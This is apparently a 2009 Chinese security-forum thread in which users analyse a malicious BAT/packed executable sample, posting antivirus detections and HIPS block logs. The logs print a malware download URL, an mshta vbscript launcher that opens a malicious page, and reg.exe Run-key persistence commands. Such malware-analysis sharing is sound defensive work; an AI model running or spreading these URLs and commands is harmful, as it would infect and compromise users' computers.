BAT *1

显示全部楼层 · 发表于 2009-7-18 21:12:28

貌似加密了的说...

显示全部楼层 · 发表于 2009-7-18 21:20:06

显示全部楼层 · 发表于 2009-7-18 21:20:11

"http://www26jqcn.y712.cn/xk/pv.exe"

显示全部楼层 · 发表于 2009-7-18 21:22:53

1楼：a virus or unwanted program 'HTML/ADODB.Exploit.Gen' [virus] was found.
3楼：a virus or unwanted program 'TR/Drop.Agent.NAE.1' [trojan] was found.

显示全部楼层 · 发表于 2009-7-18 21:23:13

扫描开始于: 2009-7-18 21:22:39

C:\Downloads\software\pv\pv.exe/small.exe 已检测: Trojan.Win32.AgentBypass!IK
C:\Downloads\software\pv\pv.exe/05.exe 已检测: Trojan.Win32.Cinmus!IK
C:\Downloads\software\pv\pv.exe/002.exe 已检测: Trojan-Downloader.Win32.Cekar!IK
C:\Downloads\software\pv\pv.exe/1015.exe 已检测: Trojan-Dropper.Agent!IK
C:\Downloads\software\pv\pv.exe/ClickerAgent(1x430sdfsd33).exe 已检测: Trojan-Downloader!IK
C:\Downloads\software\pv\pv.exe/KBDUSYCF.exe 已检测: Trojan-Dropper.Win32.Microjoin!IK

已扫描

文件: 11
跟踪记录: 0
Cookies: 0
进程: 0

已发现

文件: 6
跟踪记录: 0
Cookies: 0
进程: 0
注册表键: 0

扫描结束于: 2009-7-18 21:22:40
扫描用时: 0:00:01

显示全部楼层 · 发表于 2009-7-18 21:24:23

D:\TDDownload\a.rar>>a.bat Script.HttpDownloader.a 病毒还未处理
D:\TDDownload\pv.rar>>pv.exe>>002.exe Trojan.OnLineGames.gen.a 木马还未处理
D:\TDDownload\pv.rar>>pv.exe>>1015.exe Trojan.Lmgqsp.diin 木马还未处理
D:\TDDownload\pv.rar>>pv.exe>>2.vbs Script.HttpDownloader.b 可疑程序还未处理
D:\TDDownload\pv.rar>>pv.exe>>23.exe TrojanSpy.Gen.ddim 木马还未处理
D:\TDDownload\pv.rar>>pv.exe>>ClickerAgent(1x430sdfsd33).exe TrojanPSW.GamePass.ahyd.nvxy 木马还未处理
D:\TDDownload\pv.rar>>pv.exe>>small.exe TrojanDropper.Agent.avsj.zbuc 木马还未处理
D:\TDDownload\pv.rar>>pv.exe>>yoyo1177.exe TrojanDownloader.Agent.cbpv.ztvw.arc 木马还未处理

显示全部楼层 · 发表于 2009-7-18 21:24:23

2009/7/18 21:21:45 已清除木马程序 Trojan-Downloader.Win32.Agent.cbpv G:\Temp\Virus\pv.rar/pv.exe/yoyo1177.exe//data0003
2009/7/18 21:21:45 已清除木马程序 Trojan-Downloader.VBS.Small.l G:\Temp\Virus\pv.rar/pv.exe/2.vbs
2009/7/18 21:21:45 已清除木马程序 Backdoor.Win32.Delf.pyd G:\Temp\Virus\pv.rar/pv.exe/002.exe
2009/7/18 21:21:45 已删除木马程序 Trojan-Downloader.VBS.Small.l G:\Temp\Virus\a.rar/a.bat

显示全部楼层 · 发表于 2009-7-18 21:31:28

2009-07-18 21:22:34 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\conime.exe
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->%windir%\system32\conime.exe

2009-07-18 21:22:34 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\mshta.exe
命令行:vbscript:createobject("wscript.shell").run("""a.bat"" h",0)(window.close)
触发规则:所有程序规则->系统程序_黑名单->*\mshta.exe

2009-07-18 21:22:34 创建文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\config\explorer.vbs
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->?:\*

7-18 21:22:35 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\explorer\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\explorer.vbs" /f
触发规则:所有程序规则->系统程序_黑名单->*\reg.exe

2009-07-18 21:22:35 创建文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\config\winlogon.vbs
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->?:\*

2009-07-18 21:22:35 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\winlogon\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\winlogon.vbs" /f
触发规则:所有程序规则->系统程序_黑名单->*\reg.exe

2009-07-18 21:22:35 创建文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\config\svchost.vbs
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->?:\*

2009-07-18 21:22:36 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\svchost\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\svchost.vbs" /f
触发规则:所有程序规则->系统程序_黑名单->*\reg.exe

2009-07-18 21:22:36 创建文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\config\csrss.vbs
触发规则:应用程序规则->系统程序->%windir%\system32\cmd.exe->?:\*

2009-07-18 21:22:37 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\csrss\CurrentVersion\Run" /ve /d "C:\WINDOWS\system32\config\csrss.vbs" /f
触发规则:所有程序规则->系统程序_黑名单->*\reg.exe

2009-07-18 21:22:41 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\mshta.exe
命令行:vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.genwjq.com/bat/index4.asp",0)(window.close)
触发规则:所有程序规则->系统程序_黑名单->*\mshta.exe

显示全部楼层 · 发表于 2009-7-18 21:33:31

漏了一个，光看到大包了，这两个是一个类型的

[ 本帖最后由 allinwonderi 于 2009-7-18 21:38 编辑 ]

显示全部楼层 · 发表于 2009-7-18 21:36:13

费尔杀。
EQ拦截
2009-07-18 21:34:49 修改文件操作:阻止并结束进程
进程路径:E:\csrss\csrss.exe
文件路径:C:\WINDOWS\system32\appmgmts.dll
触发规则:所有程序规则->WINDOWS文件夹设置->%windir%\system*\*.dll

2009-07-18 21:38:43 修改文件操作:阻止并结束进程
进程路径:E:\svchost\svchost.exe
文件路径:C:\WINDOWS\system32\appmgmts.dll
触发规则:所有程序规则->WINDOWS文件夹设置->%windir%\system*\*.dll

[ 本帖最后由 hddu 于 2009-7-18 21:40 编辑 ]

[病毒样本] BAT *1

本帖子中包含更多资源

费尔无视掉

回复 1楼 aarwwefdds 的帖子

本帖子中包含更多资源

回复 2楼 BitDefender 的帖子

本帖子中包含更多资源